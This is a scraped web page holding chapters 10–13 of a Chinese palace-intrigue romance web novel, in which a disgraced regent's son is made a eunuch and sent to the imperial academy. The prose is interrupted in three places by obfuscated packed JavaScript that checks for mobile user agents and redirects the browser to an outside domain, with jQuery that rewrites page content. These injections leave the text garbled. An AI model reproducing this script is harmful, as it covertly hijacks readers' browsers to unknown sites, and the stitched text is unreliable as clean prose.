至于顾朔法理上的母亲,周文帝的正妻,曾陷害顾朔,导致顾朔被周文帝判流放,在顾朔平定西北后,向周文帝进言暗杀顾朔,她担心顾朔清算,在顾朔杀回皇宫前自尽了。 顾朔未婚,无妃嫔。 于是整个后宫只剩他一个正经主子。 正是裁人的好时机。 苏景同到了广明宫,潘启把他引到正殿,“陛下要见公……见你。” 10. 上任 广明宫正殿的宫人都已屏退,顾朔坐在珠帘后的闲云野鹤黄花梨木书桌后。 “过来。”顾朔唤。 苏景同走了两步,想起太监不是这么走路的,太监在面对主子传唤时,是小碎步跑上前。苏景同摸摸下巴,那姿势应该怎么学? 他试着让自己变成小碎步,跑起来,结果左脚绊右脚,差点摔了个狗吃屎。 顾朔发愁地捏眉心。 苏景同及时稳住身形,再接再厉,这次他放慢了速度,总算没有再绊倒,小跑到顾朔面前,十分丝滑地单膝跪地:“奴才在。” “起来。”顾朔微抬下巴,示意苏景同看书桌,桌上放着一套太监服饰,“换上。” “得令!” 顾朔准备的这套太监服是宝蓝色的,因苏景同等级低,只有领口有些花样式。 顾朔上下打量他,有人穿上龙袍也不像皇帝,有人穿成太监也不像太监。苏景同好好休息了一月,正是容光焕发,他只消站在那里,就仿佛在发光。 “感觉怎么样?”顾朔问。 “挺好,”苏景同低头整理衣服:“挺合身。” 顾朔靠在椅背上,慢条斯理道:“叫你来,是有话要叮嘱。” 苏景同学小太监,单膝跪地,低头听吩咐。 “你一贯想得多,避免走弯路,朕同你开诚布公。”顾朔问:“你知道你为何会发配寒蝉轩为奴么?” 苏景同停顿一瞬,五脏六腑搅作一团,胃一阵阵翻涌,圣旨写得清楚明了,为了他爹造反。苏季徵的事是他这辈子最深的愧疚,深到他连提都不敢提,想都不敢想,他不愿承认他爹谋逆,于是去掉了主语,“谋逆。” 可以是他爹谋逆。 也可以是他谋逆。 “不。”顾朔说:“再想。” “因为三年前,”苏景同轻轻闭上眼睛,“三年前奴才负了陛下。” “算沾边。” 苏景同睁开眼,他和顾朔之间就剩一件事了,将要流放的顾朔要回府中当嬖人。但顾朔并非睚眦必报之人,何况要回顾朔后,苏景同照旧将他当殿下对待,并不曾有过失礼。不可能是顾朔指的原因。 苏景同道:“请陛下指点迷津。” 顾朔道:“因为你此刻并非朕的爱人。” 苏景同诧异。 “你若是朕的爱人,我们琴瑟和鸣,朕自然尽心竭力护你,天下是朕的天下,朕自有本事叫你脱身。”顾朔淡淡道。 “而如今你我的关系,”顾朔瞧着他:“只够朕为你免死罪和流放之苦。” 苏景同猜不透顾朔的想法,说这句话是什么意思,刺他两句发泄决裂的不满,暗示他该重新追人了么? 他追顾朔,算轻车熟路。可惜原先的法子都不大好使,追来追去四处碰壁,得想点新花样了。 顾朔瞥他:“收起你那堆无用的想法。” “等你告诉朕决裂的真相,朕再酌情决定要不要同你重修于好。”虽然听起来矜持,酌情决定,但顾朔的言下之意是,苏景同什么时候说清楚,什么时候不用当小太监。 苏景同心里泛酸,顾朔这一个月来,想必不好受。平常内敛沉默的人,自从重逢,被迫说了好多话,和从前性格大不相同,连这句以前打死都说不出口的话,现在都能淡然地讲出来了。 顾朔真是倒了八辈子霉,偏偏跟他纠缠到一起,怨憎会、爱别离、求不得,尝了个遍。 有时候真怀疑自己活在世上是对是错,好事没做成几件,害人却无数。 “朕说清楚了么?你那九曲回环的脑袋,这次没想歪吧?” “奴才听明白了。” 顾朔皱眉,“看在过往情分的份上,朕许你自称‘我’。” 苏景同笑,他早发现顾朔不喜欢听他自称奴才,他每自称一次奴才,顾朔的眉头就皱得死紧,八成让他当太监是一时兴起。 “朕不审你,是想听你亲口告诉朕真相。”顾朔道:“但朕只听真相,如果你蓄意欺骗……” 顾朔冷声道:“朕立刻让人送你去青溪镇,此生不复相见。” 苏景同手一颤,“知道了。” “以后你白天在太学干活,晚上回广明宫守夜。用膳回广明宫来。” 苏景同字斟句酌,“是一天都要干活吗?” 顾朔颔首,“有助于你快速思考,尽早告诉朕答案。” “太学……”苏景同问:“做什么?” “给太学博士打杂,准备笔墨纸砚,准备授课内容。” “这是有功名在身的人才能做的吧,”苏景同试图让顾朔收回成命:“我一个小太监……” 顾朔垂眸看他:“那你想做什么?留在广明宫洒扫?还是端茶倒水?” “听陛下安排。”都行,都省力。 “美得你。”顾朔轻嗤。有潘启在,别说苏景同洒扫端茶倒水,潘启不给他端茶倒水就算好的。 “去太学吧。”苏景同纨绔名声在外,但靠过目不忘这一本事,勉强往脑子里塞了点知识,糊弄糊弄小孩子够用了。 苏景同臊眉耷眼,“这位博士讲什么的?” “新增的课,兵法。”顾朔说:“以这三年为例,讲兵法在战场上的运用。” 苏景同:…… 原来在这儿等着他呢。 “别这样看朕,他先不讲西南王,”顾朔说:“先讲姜时修是怎么排兵布阵平西北。” 苏景同:…… 讲姜时修啊…… “明儿去太学,先让潘启带你去安顿。” “是。”苏景同有气无力地应声。 潘启给苏景同安排的住处在广明宫西偏殿拐角处,潘启解释:“广明宫的太监们一般住在后殿,已然住满了,公……你来西偏殿住吧。” 太监们的住房,从来没有住满一说。屋里只有一张炕,太监们住大通铺,睡五个人宽敞,睡七个人略挤,硬要塞十个人也塞得下。 苏景同清瘦,多塞一个不成问题。 潘启哪能真让他和太监挤着睡。且不说苏景同能不能受得了,要让顾朔知道苏景同和两个太监紧贴着,你的胸贴他的背,这么夹肉饼式的睡,只怕火噌噌冲脑门去了。 以顾朔每晚来看苏景同的作风,不出两天,全广明宫的太监都得吓到不敢入睡。 苏景同心里明白,“多谢大总管费心。” 潘启不好意思:“就是屋子小了点。”他推开门,这句“小了点”用词着实委婉,这屋原来是放洒扫杂物的,只有顾朔的书桌大小,长六尺、宽四尺,常规床和炕都放不下,只用砖砌了一张仅容一人躺的“床”——翻身会掉下去。 此外只剩一条狭窄的路可通行。 屋子只有床头有个小小的窗户,一本书大小,昏暗异常,光很难照进来。 至于放东西的柜子,那是没有的。 潘启不好意思:“没别的房间了。”潘启心里算盘打得啪啪响,广明宫到处都是空房间,让苏景同住得宽敞舒适有什么好处?就得昏暗狭小,皇帝一看心疼,这就能顺理成章带回正殿一起住。夫夫床头吵架床尾和,住两天,什么恩怨消不了? 苏景同“嗯”了一声,“挺好,劳烦大总管了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908523|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不敢当不敢当。”潘启说:“公……你先安顿吧,今儿不用守夜,明儿再开始。” 潘启带着苏景同去安顿的功夫,顾朔传康宁侯左正卿觐见,“朕叫他去太学讲给博士打杂了。” 左正卿微怔,“太监?去太学?” “嗯。” 左正卿道:“陛下,臣请圣恩。” “何事?” “臣自开朝以来,整日闲散于家中,特来请旨求官。” 开朝后,同顾朔一起打天下的文武功臣都得以加官进爵,只有左正卿没官职,顾朔本是怕他劳心,既然他有意,自然无不允的,“想去哪里?” “太学祭酒。” 顾朔笑了笑,他刚提一句把苏景同安排去太学讲学,左正卿就想去太学掌事,“你也忒惯着他。” 左正卿满眼担忧:“他太监之名,去太学,难免受气。” “他受气?”顾朔轻笑,没把剩下的话说出口,“行了,起来吧,他那儿朕自有安排。找你来是有别的事。” “但凭陛下吩咐。” “朕着刑部清吏司查姜时修的下落,清吏司郎中茅缙聪慧谨慎,可全盘负责,爱卿稍加提点,帮着把把方向。” “微臣领旨。” 随后,顾朔又把江天叫了进来。 江天一进门,“咣当”跪下,又要开始老生常谈苏景同的危险,万万不能留在宫闱。 自打江天得知顾朔留苏景同在宫中,一天求见一回,苦口婆心劝谏,“陛下莫怪臣多嘴,这件事真不可行。苏景同,往远了说,他是先摄政王唯一的儿子,摄政王筹谋谋反二十余年,苏景同难道一无所知?这二十余年,苏景同可有做过任何阻止摄政王的事?退一步说,就算他不知情,摄政王正式谋反的时候,苏景同在做什么?他没出现,他不在摄政王府。不参与,但是也不阻止,这就是苏景同的态度。他是在旁观啊陛下,如果摄政王失败,他已然抽身,如果摄政王成功,他回来当太子。眼下太子梦碎,此人……” 江天还在絮絮叨叨,顾朔失笑,江天比苏景同大三岁,看起来却和苏景同没差,眉眼间还留着少年气,活力满满。他是大周武功最卓绝的人,在带兵上有天生敏锐的直觉和可怕的洞察力,天降奇才。 就是太啰嗦。 “往近了说,西南反贼谋逆,筹谋了四五年,打来打去,刚打出西南边界。苏景同一来,迅速打到帝都。但是碰到康宁侯,半个月就兵败。陛下,”江天划重点:“其中有鬼啊!” “他打半个大周只需要半年,这等奇人,一碰到康宁侯就兵败如山倒。是,康宁侯厉害,这点毋庸置疑,满朝文武无出康宁侯之右,但苏景同又不是纸糊的,败这么快岂能没内情?西南叛军还流窜在外,这怕是要里应外合啊!陛下难道不觉得此事蹊跷吗?刑部兵部禁军都在派人抓他,偏偏叫镇西侯抓到了。镇西侯啊,那可是……” 酒囊饭袋。 “能叫他抓着,这合理吗?狗屎运也不能这么撞吧?镇西侯说的那条路,臣当时也派人值守,根本没遇到。镇西侯到底是在哪里抓的人?这件事得让他给臣个交代,陛下的安危岂容他如此轻忽!” “爱卿,”顾朔耳朵嗡嗡响,终于忍不住打断他,“先安静片刻。” “哦。”江天噤声,耷拉下来。 “有件事交代你去做。” 江天竖起耳朵。 “你既不放心苏景同,往后你贴身保护他。” 江天的眼睛亮了,好好好,贴身保护,这下能随时随地盯着! “带你的玄枵卫一起。”顾朔淡淡补充。 11. 祭酒 玄枵卫是禁军九卫之一。江天是玄枵卫出身的,虽已是禁军统领,但玄枵卫仍是他最熟悉的。 “带玄枵卫一起?”江天愣住,玄枵卫一千人,这是皇帝出行护驾的规模。 “随你怎么安排,”顾朔道:“他每日会在太学和宫内往返,保障他安全,但又不能引人注意。” “明保护还是暗地保护?”江天问。 “暗。” “微臣遵旨。” 苏景同收拾好自己的房间,严格来说没什么好收拾的,他只有两套太监服,其他私人物品一概没有,他把两套太监服叠好放在床脚,再把床铺一铺,枕头放好,就算收拾好了。 房门悄无声息打开,一道人影站在苏景同身后。 “公子。”他的声音清冷,压抑着愤怒。 苏景同没有回头,对来人能进入守卫森严的广明宫毫不惊讶,“来了。” 来人看清楚房间构造,眼睛红了,锤墙,咬牙道:“他怎敢如此折辱公子!” “这算什么折辱?”苏景同问:“人找到了吗?” “有线索了,在益州出现了,甲队已经动身去益州了。” “嗯,继续查。”苏景同说:“接下来三个月内,你不要靠近广明宫和我。” “为什么?”那人道:“我不在公子身边,谁保护公子?” “应当是江天过来,”苏景同回头瞧他:“你能躲过江天的眼睛?” “……”那人憋屈道:“我这就回去苦练武艺。” 苏景同笑笑,“最近宫里要裁减宫人,奢靡浪费是一方面,宫里被探子穿成筛子是另一方面,现在潘启主管此事,要把探子筛出去。”苏景同塞给他一张纸条,“这上面是西南王在宫里的探子,你找机会透给潘启。” “是。” “回去吧,藏好你的身份。你别被江天的活泼莽撞不识眼色影响,误以为他轻浮不稳重。”苏景同定定地看着他,“江天草根出身,能在这个年纪坐稳禁军统领的位置,靠的可不光是武功。他胆大心细,认定我居心不良,知道我在宫中,必会排查我的接应。” “是。” 夜里,顾朔不出潘启所料来了——因为他突然想起一件事。 低等太监服是纻麻布做的,摄政王的奢靡还在周文帝之上,苏景同穿习惯绫罗绸缎,未必能接受纻麻布。 顾朔倒是习以为常。 顾朔自认并非娇气的人,但他刚穿苎麻布时,实在穿不习惯,人一旦习惯了丝绸的衣裳,麻衣的粗粝触感很容易磨出血点。他不敢声张,只以为是自己的问题,怕人嫌他身娇肉贵,硬是穿了大半个月,麻衣把他身上磨了个遍,才算习惯了麻衣。 后来军营来了军师姜时修。姜时修是小门小户出身,父亲看管书库,从小得以阅书无数。 姜时修才穿麻衣时,不到一天,全身上下都磨红了。 顾朔这才知道不是他的问题,是衣服的问题——小门小户的姜时修都受不了,可见和人无关。 但穿习惯以后,苎麻布就只是蔽体的衣裳,就算特意去感受,也很难想起苎麻布曾经磨人。 穿了三年,顾朔早忘了苎麻布磨人的事。 苏景同娇气,但能忍。 顾朔猜测他应当也磨红了皮肤,只是不肯声张,于是带着药过来看情况。 苏景同的房间漆黑一片,顾朔提着灯进来,苏景同还未睡,盘腿坐在“床”上,透过小小的窗户望月光。 “陛下?”苏景同下床。 顾朔将灯放在“床”上,“穿了一天?” 苏景同低头瞧自己的太监服,整整齐齐,没有不得体的地方,“对。” 顾朔拉过苏景同,掀开他袖子,表情微不可察地僵硬了。 “怎么了?”苏景同问。 苏景同手臂上白皙如常,没有一点纻麻布磨出的痕迹——他竟然穿过很长时间的纻麻布衣。 “没事,”顾朔不动声色道:“看看你手腕。完全好了。” 苏景同晃晃手腕,“皮外伤而已,好好养了一个月,早好了。” “嗯。”顾朔又随意说了几句,叫苏景同早些睡,从苏景同房里出来。 苏景同静静等他的脚步声完全消失,掀开袖子,仔细看自己手臂,他养伤期间顾朔一天来两回,确定完全好了才下旨要他做太监,没道理今晚跑过来看手腕,顾朔进来的第一句话,“穿了一天”,这是什么意思? 太监服,穿一天? 太监服…… 手臂…… 苏景同脸色微变:太监服是纻麻布,养尊处优的摄政王世子,怎么会穿过苎麻布,第一次穿苎麻布,身上理应有红点。 苏景同拿起太监服,在自己皮肤上反复摩擦,失策了,他穿太久苎麻布,早忘了第一次穿苎麻布的感觉。 苏景同磨了一会儿,蓦地想起今天上午顾朔的话,“朕不审你,是想听你亲口告诉朕真相。但朕只听真相。” “如果你蓄意欺骗。” “朕立刻送你去青溪镇。” “此生不复相见。” 苏景同心狠狠跳动一下,手一颤,把太监服扔了。 算了。 苏景同躺在床上,翻了个身,顾朔发现就发现吧,早晚要告诉他。顾朔是认真的,他不能为这些小事,断送他俩的关系。 在苏景同辗转入睡的时候,另一个地方,灯火通明,彻夜未眠。 太学府在长华街,盘踞整条街,四周僻静,气派非凡。 太学每两年招生一次,每一届招生200人,其中皇亲国戚、勋贵官员家中的子弟30人,各地优秀学子170人。 成帝朝时,皇亲国戚勋贵子弟同各地优秀学子试卷相同,分开录取,但各地优秀学子中的第170名,常常比勋贵子弟中的第1名强上许多。着实难看,且叫各地优秀学子愤慨。 到了文帝朝时,学子抗议声大,索性分开考卷。 太学采用积分考核制度,每月进行一次考核。先统一上课三月,再根据积分分班。积分最高的前50名学生,进闻道堂,51名到100名进明德堂,101到150名进中和堂,最后50人进勤学堂。 这就造成了一件事,闻道堂、明德堂、中和堂几乎全员都是各地优秀学子,勤学堂则是勋贵子弟聚集地,并优秀学子中的末位生。 太学府现在无祭酒,原祭酒朱文栋在家休养,暂代祭酒的徐博文得知宫里要把烫手山芋苏景同分来太学当打杂太监,还要给讲兵法的博士打杂,当即决定把他扔到遍地皇亲国戚勋贵子弟的勤学堂来。 纨绔子对付纨绔子嘛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908524|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太学府四学堂得到消息,炸了锅。 原祭酒朱文栋,一位狗屁倒灶的酸腐文人,满口之乎者也,行事迂腐,管理学生颇为严格,动辄打骂,学生们大多不喜欢他。但这位做了件让文人肃然起敬的事——试图以身殉国。 西南王攻入京城建安时,皇亲国戚大多早逃亡离开建安,百姓们也收拾东西四处逃窜,太学祭酒朱文栋,将典籍厅的珍惜绝版书籍托付给学生带走,恳求务必保存下来,后独自前往城楼,在城墙上书写《讨西南檄文》,将谋逆的西南王从头到脚骂了个遍,檄文朗朗上口,遍地传颂。 朱文栋被西南王抓获后,一身正气,当面驳斥西南王,铿锵有力,字字珠玑,把西南王骂得脸色发青、抽出剑来就要砍了他。 朱文栋大义凛然,“朱某以身殉国死得其所——” 国破家亡之时,平日作威作福、尽享天下供养的皇亲国戚不见踪影,损公肥私、横行霸道的官员勋贵不曾出现。 他守着没几个钱的俸禄,维持着刚够温饱的生活,传道受业、修补典籍,连只鸡都杀不利索,却站在西南王前维持大周最后尊严。 西南王欲杀之以图后快,苏景同慢悠悠溜达过来,无不讥讽道:“哟,这是谁呀。” 苏景同围着朱文栋转了一圈,啧啧称奇:“这不是我们威风凛凛的太学祭酒吗,您的戒尺呢,怎么不拿出来。” 朱文栋破口大骂:“奸佞!竖子!” “啧。”苏景同快速出手钳住他的下巴,“您还是这般不会说话,”苏景同笑了,眸子中没一点表情,“不会说话,就别说话了。” “咔哒”一声,苏景同卸掉了朱文栋的下巴。 朱文栋下巴不能动,眼睛还能动,怒目而视。 “别这样看我,眼睛也不想要了?”苏景同笑得挑衅,“牙齿里□□了吧,就算死也不能死在我们手里,嗯?我说的可对,朱祭酒。” 朱文栋恨恨地盯着他。 “你死不死的,没什么要紧的,区区一个文人。”苏景同掏出帕子慢条斯理地擦手指,“为国捐躯是文人无上的荣耀,你想效仿屈原,一死流芳千古?” 苏景同将帕子丢给仆役:“本世子可没兴趣陪你上史书。” 西南王持剑的手停下,默默将剑收回剑鞘。苏景同说得对,杀一个书生,除了泄愤,没有任何用处,反倒会成为史书上尖酸刻薄的一笔,成为千古传颂佳话中的奸佞。 用自己的名声,成全他无上的荣耀。 这买卖做不得。 苏景同扫了西南王一眼,“朱祭酒,我若是你,我就想想接下来怎么求饶好。”苏景同弯起唇角,“本世子在太学读书时,没少受祭酒大人的教导。” 苏景同漫不经心道:“大人贵人多忘事,本世子却记得清楚。” 西南王听出点意思来,苏景同是京城大名鼎鼎的纨绔子弟,朱文栋老古板,大概没少收拾他。 西南王忙道:“既与景同有旧怨,景同带走便是。来人,还不把这逆贼送到军师府上!” 朱文栋脸色涨红,与其落在这起子小人手里身受折辱,倒不如一头撞死,成全清白。 朱文栋一头朝柱子撞去。 西南王脸色大变:“拦住他——!” 苏景同神色不变,连眼皮都没掀了一下。 12. 江天 朱文栋愤怒朝柱子而去,速度奇快,周围的侍卫离柱子远,大步狂奔都没赶上。 西南王侧过头,心里直直发愁,这可怎么是好,一时兴起抓了个烫手山芋,哪里堵的住天下悠悠众口,这是要遗臭万年啊。 就在朱文栋要撞到柱子时,柱子前突然鬼魅般出现一人,以掩耳不及盗铃之势单手拎住了朱文栋的脖颈,提了起来,朱文栋躲闪不及,脖子卡个正着,脑袋被阻止没撞到柱子上,身体却没及时停下,膝盖磕到了柱子上,他没有那人高,被提起来以后身子来回晃,下巴不能动,只能用舌头“赫赫”几声,表达不满。 那人反手拍晕了他,然后提着晕过去的朱文栋来到苏景同身前,“世子料事如神。” “居然拦住了!”西南王虚惊一场,抹掉不存在的汗。 这下不用上史书挨骂,西南王顿时高兴起来,搓搓手,腆着脸凑到苏景同身边问:“军师怎么知道他牙齿□□,怎么知道要撞柱?” “文人无非就那么几种手段,”苏景同瞥他:“别再问我蠢问题。” “是,是。”西南王毫不在意在众人面前被下了面子,“军师,朕还有几件事需要和军师定夺,你看……?” 苏景同回头叮嘱抓着朱文栋的人,“先把人关起来,别让他自杀了,本世子有的是账要同他算。” “是。” 朱文栋被关在苏景同府上足足半月,直到顾朔打进来,才被放了出来。 朱文栋文人、年纪又大,经此一事,不出意外病倒了。顾朔特准他俩月假期,在家休养。 朱文栋的事迹传遍了建安,无数文人称颂,著书立传。 太学府学子对朱文栋感情更是不同。太学府聚集了天下英才,无不将文人傲骨刻在心上,文死谏武死战,为国捐躯以身殉国,传说中的气节在现实中出现,且还是自己的祭酒,瞬间将朱文栋立为了道德标杆,甚至还在太学府为他打造了一尊雕塑。 今天,太学府学子得知奸佞小人苏景同要来太学府,群情激奋。 太学府原本皇亲国戚勋贵子弟与靠才学进来的各地才子互看不顺眼,维持着井水不犯河水的平衡,现在各地才子主动自发找来了。 闻道堂、明德堂、中和堂,三堂的学生齐聚在勤学堂,四堂达成一致意见,要好好给苏景同一点教训。 从月上中天,到太阳升起。 苏景同打着哈欠起床,这日子是越过越不像话了,一天比一天起得早。苏景同闭着眼迷迷糊糊穿衣服,摸索着从屋里出来,屋子太小,放不下洗漱的盆,他只能来外面洗。 苏景同在清晨的冷风中吹了一会儿,脑子磨磨蹭蹭地回笼,摆在门外的是一个洗脸盆,和一个空桶。 苏景同迟钝地想,昨晚潘启给他留了一桶水,他用完后忘了打水。 所以…… 水井在哪里? 苏景同在宫里时间不算短,愣是没见过一次水井。贵人来往的地方是没有井的,井水通常在偏僻地带。 苏景同抓了个值夜的小太监问路,提着空桶溜溜达达去了。 打水花了许久——他不会用打水的装置,虽然很快找到了窍门,新的问题随之而来,他提不动桶。 在他手被挑断前,他提两桶水都能健步如飞。 但现在不行。 苏景同由衷地感谢太医长年累月给贵人看病,对一些偏门的、不会出现在贵人身上的症状生疏,只看到镣铐和簪子划破伤口,没发现他手筋被人挑断。 苏景同试着提了两次水桶,颇为遗憾地把半桶水倒回井里。 半桶也行,够早上用了。 正殿灯亮了,宫女太监们成群结队进殿,应当是顾朔醒了。苏景同慢吞吞洗脸,让冰凉的井水,为自己带来新鲜的活力。 收拾完毕,顾朔那头传膳,苏景同过去和他一起吃。 苏景同的特权主要体现在吃上。苏景同不大懂顾朔到底为什么这么执着他的饮食问题,似乎认定了他胃不好,他忘了他的胃是从什么时候开始不大消化,但只有个别时候会痛,也不知顾朔为何如临大敌。 苏景同吃了一片宫廷小黄瓜、一口如意卷、两筷子蟹肉双笋丝,一勺莲子粥。 顾朔眉头皱起来,“再用些。”早膳是贺兰芝亲自下厨的,苏景同最爱贺兰芝做的饭,三年前能吃一大碗。 苏景同摆手,饱了。 顾朔压着他吃了一筷子龙须面,苏景同表情痛苦,连连摆手,真的饱了! 顾朔只好逼他吃了两块山楂糕,消消食,又叫人打包了一盒核桃酪,上午饿了吃。 苏景同嘀嘀咕咕:“浪费食物。”眼见是不会吃了。 送苏景同去太学的马车停在广明宫门口,车不逾制,是最普通的马车,普通的木材,灰蒙蒙的车厢,赶车的人是个高瘦的男人,肩背很有力量。 苏景同上车后,赶车人一言不发,驾车飞驰而去。 苏景同靠着车厢观察赶车人,不出意外这位就是改头换面易容后的江天。 苏景同落到顾朔手中,不仅没被杀,自己谋逆的事还一笔勾销,在西南王余党眼中,泄密的风险极高,杀之除隐患。 他平时在宫中,不方便动手。眼下他频繁来回太学和皇宫,正是下手的好时机。 顾朔除了在沿路及太学紧密布局——钓西南王余党,还会派人贴身保护他。以他对顾朔的了解,顾朔只有把最强的江天派来,才能放心。 这是苏景同第一次见江天。 关于江天的传说并不比左正卿少。世人常说,江天重塑了世人对“天才”二字的认知。 江天出身贫苦,无师自通武艺,靠天生的直觉动手。十二岁就在武状元选拔中连中三元。 莫说大周,便是从有史料记载开始算起,江天也是年纪最小、出身最差的武状元。 武状元,除了出色的战斗水平,还要有健强的体格。成年人的体型更大,力量更猛,比少年要强得多。因而少年当武状元,格外困难。 江天的最终对手,正是一位体格强壮,虎背熊腰之人。 文帝朝经济不好,百姓流离失所食不果腹。江天那时因为忍饥挨饿,面黄肌瘦,身材比常人瘦小许多。 因而这场战斗的胜利,堪称空前绝后创造奇迹。 当上武状元吃饱饭以后,和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908525|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他在决赛打得难舍难分的对手,在他手中连十回合都没撑过。 江天被破格选入了禁军九卫。 他进禁军的当天,禁军上下沸腾,都在传禁军来了个小天才,九卫的统领为了江天能分到哪个卫抢破头,禁军大统领没舍得给任何卫,亲自教他,走哪带到哪,比亲儿子都亲。 江天是个活泼又内敛的人。这个描述很对立、很离谱,却惊人的在江天身上达到了统一。 他很爱八卦,就喜欢听东家长西家短,经常陪禁军的厨娘聊天,听她絮絮叨叨说谁家老头爬灰、谁家小媳妇和婆婆吵架。 但又很内敛。禁军九卫里,没有比他更能吃苦的人。他对自己下手极狠,练不好的招式重复千百遍,直到形成肌肉记忆。冬练三九、夏练三伏。大统领点出过的错误,他从没犯过第二遍。 用大统领的话来说,从没见过他睡觉。他总是全禁军第一个起床,也是最后一个入睡的。 他练的剑磨损总是最快的。他的梅花桩和木头人更替也是最频繁的。 江天全靠直觉,就能当武状元,禁军大统领略教了几月,江天水平突飞猛进,不过两年,九卫统领们皆不是江天的对手。 又过了一年,大统领再不能赢江天。 可江天这一年才十五岁,还在攀升期。 他从直觉到基本功雄厚扎实,只用了三年。 学无可学,他开始了自创招式,把当前禁军体系中常用的剑法一一改进,又调整了训练方式和周期,禁军战斗力飞升——后来禁军在和摄政王苏季徵的战斗中以少胜多,皆因单兵战力暴涨,他转为为顾朔效忠后,西北军实力也迎来飞跃,就连西南王,都曾派人去偷师。 现在没人知道他到底多强,没人知道他实力的底线,因为再也没人能在他手中撑一炷香的时间。 比他武学天赋更可贵的,是他的任务完成度。江天十五岁以后,进了禁军九卫的玄枵卫,执行机密任务。 大统领起初担心到吃不下睡不着,任务和比武完全不是一回事,你就是天神在世,一旦被几十上百人围殴,同样难以活下来。他生怕哪个任务刁钻,把他的宝贝徒弟葬送掉。 后来大统领半夜睡不着,在屋檐上看星星,顺便怀疑人生,为什么他和江天的差距像人和神一般大。 假使他们之间的差距只有一星半点,他还能努努力,找找差距,可江天和他之间的差距,已经无需任何言语来界定。 江天是无死角的。 他冷静理智,大局观出色,不为感情用事。他像世界上最精密的仪器,永远知道怎么执行任务最合适、效果最佳。 他平时的活泼快乐八卦,很轻易给人他还是不稳重的少年的错觉,可当他执行任务时,哪怕在闲聊八卦,心里的警惕从未放下过一分,他是身体在说说笑笑,他的灵魂在冷眼旁观。 他是禁军九卫迄今为止,唯一一个出任务只失败过一次的人——失败的那一次,周文帝下的密旨是杀左正卿,他抗旨不遵,护送左正卿前往西北找顾朔。 他生来是为了书写“天才”二字。 苏景同摸下巴,所以,左正卿喜欢的是他吗? 13. 太学 苏景同的目光太过火热,连努力装瞎的车夫都无法再忽略他的目光, “公子有事?”车夫问。 “我八卦个事呗。”苏景同说。 “八卦?” 苏景同托腮:“你和正卿,是怎么认识的?” “正卿?”易容的车夫江天傻傻地重复,“这是谁?”左清,字正卿。普通车夫是不可能知道康宁侯的字的。 “行啦,跟我还来这套,他没告诉你我是他最好的朋友吗?”苏景同说。 最好的朋友? 放你丫的屁。 我才是! 你俩都他娘的当对手了! 江天在心里跳脚,嘴上却低调:“公子,小人叫王三六。”这是贫苦人常用的名字,把爹娘生他那年的年龄加起来,就是孩子名字。贫苦人多数不会加法,所以经常加错。 苏景同一只手托着腮:“顾朔都告诉我了,要让你过来。” 江天没被苏景同小小的试探打倒,顾朔只要不亲口说告知苏景同他的身份,他就不会在苏景同面前袒露,他结结巴巴磕磕绊绊道:“公子,避、避……”皇帝的名字,岂能直呼? “没意思。”苏景同往后仰,躺在车上,随手翻出顾朔给他带的核桃酪,“你吃早饭了吗?来一块核桃酪吧。” 苏景同抬手将核桃酪飞出去,直冲江天的后背。 习武之人耳聪目明、反应灵敏,躲避暗器飞刀会渐渐形成自发反应,有时即便没看见没听见暗器,身体也会突然心生寒意随后火速躲开。 练武练到江天的程度,本能反应会很强大,不等他意识控制,手会先行挡回暗器。 但核桃酪不偏不倚直直砸到了江天背上——江天没有任何反应。 他只是回头从地毯捡起核桃酪,千恩万谢地吃了。 真不愧是禁军九卫中最好的兵器。 苏景同笑笑,没再逗他。 马车一路摇摇晃晃,向太学府而去。 太学府内此刻热闹非凡。凌云堂是博士们备课的地方,苏景同被分来伺候的博士名唤曲庐,在此处办公。 凌云堂前挤满了人,人群中围着几个活力四射的少年,众人眼睛一错不错地瞧着他们。 “快点,”一身着云锦的少年不耐烦地催促,“霍方你行不行,不行就下来,本世子弄!” “别催!”霍方站在凌云堂门内,踩着一张矮凳,另有一人将一盆腥臭的血液递给他,霍方举起盆,将盆小心翼翼地放在半开的门上。 云锦少年道:“狗血加鸡血,光有血啊?要不放点黄白之物进去?” 人群顿时哄笑起来,“世子,咱们上哪弄黄白之物去。找几个书童现拉现尿?” “去去去,”云锦少年谢永章额头直跳,“脏不脏?” 霍方从矮凳上下来,在屋内后退几步,端详他的杰作,片刻后摇头,“不行,万一他不推门呢?” 霍方是从人杰地灵的江南来的学子,在学子中声望第一,谢永章是新阳郡主的儿子。 各地学子和皇亲国戚不对付是老传统,这两人都性格尖锐要强,从入学开始,便针尖对麦芒。谢永章觉得霍方骄狂自大、看不清自己几斤几两,霍方觉得谢永章蠢猪成精招摇过市。 若不是为了一起对付苏景同,他俩万万不能如此和平共处。 